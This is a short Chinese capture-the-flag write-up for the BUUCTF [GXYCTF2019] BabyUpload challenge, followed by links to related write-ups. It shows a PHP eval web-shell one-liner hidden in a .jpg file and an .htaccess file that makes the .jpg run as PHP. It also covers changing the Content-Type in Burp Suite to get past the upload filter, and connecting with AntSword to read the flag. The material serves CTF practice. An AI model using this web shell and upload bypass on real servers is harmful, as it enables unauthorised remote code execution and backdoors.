题：
步骤（先上传木马，在上传.htaccess）
准备工作
他过滤了<? ,ph等
准备：一句话木马，.htaccess文件
.htaccess
SetHandler application/x-httpd-php //解析为php文件muma1.jpg
<script language='php'>eval($_POST['cmd']);</script> //一句话木马开始就绪
第一步：上传muma1.jpg再使用bp开始抓包，然后放过，得到他的路径
/var/www/html/upload/415d207cd4fbdc76b7a5d56818451ba3/muma1.jpg succesfully uploaded!
第二步：上传.htaccess通过pb抓包修改Content-Type: image/jpeg，再次放过，得到他的路径
/var/www/html/upload/415d207cd4fbdc76b7a5d56818451ba3/.htaccess succesfully uploaded!
第三步：组合得到的路径，进行蚁剑连接
http://aa15f862-d40e-4a4c-8d64-f4b96a2547f6.node5.buuoj.cn:81/upload/415d207cd4fbdc76b7a5d56818451ba3/muma1.jpg
第四步：查找flag
方法一，可以直接搜索\flag
方法二，点击第一个\文件夹，直接拉到最下面，有一个flag文件，点开即可
![<span style='color:red;'>BUUCTF</span>——[<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]<span style='color:red;'>BabyUpload</span>](https://img-blog.csdnimg.cn/direct/7cfb4e8765684478a0eb01aca3ed059a.png)
![[<span style='color:red;'>GXYCTF</span> <span style='color:red;'>2019</span>]<span style='color:red;'>BabyUpload</span>](https://img-blog.csdnimg.cn/direct/61643d3532ef4273ad4c0014311485c5.png#pic_center)
![[<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]<span style='color:red;'>BabyUpload</span>1](https://img-blog.csdnimg.cn/direct/9e4d749c17ee4e5780f7b5ee885a9e9b.png)
![[<span style='color:red;'>GXYCTF</span> <span style='color:red;'>2019</span>]<span style='color:red;'>BabyUpload</span>](https://img-blog.csdnimg.cn/direct/6fd1f16627ee4c188e212f8ed217e6ec.png)
![<span style='color:red;'>buuctf</span> [<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]Ping Ping Ping wp](https://img-blog.csdnimg.cn/direct/e4d0fcd9632147b985df420cc0949b11.png)
![<span style='color:red;'>BUUCTF</span>-----[<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]禁止套娃](https://img-blog.csdnimg.cn/direct/d6545fab511240ee81c8e3665d9646d8.png)
![web：[<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]<span style='color:red;'>BabyUpload</span>（文件上传、一句话木马、文件过滤）](https://img-blog.csdnimg.cn/direct/d3617f4b1acc4e8bb0fb69f0f6ac4cc3.png)
![[<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]BabySQli 1](https://img-blog.csdnimg.cn/direct/91c28d519b114ecd8ddefe25e273a1f6.png)
![[<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]BabySQli](https://i-blog.csdnimg.cn/direct/fe36ffd77aa642e8a078c1c496ae785c.png)
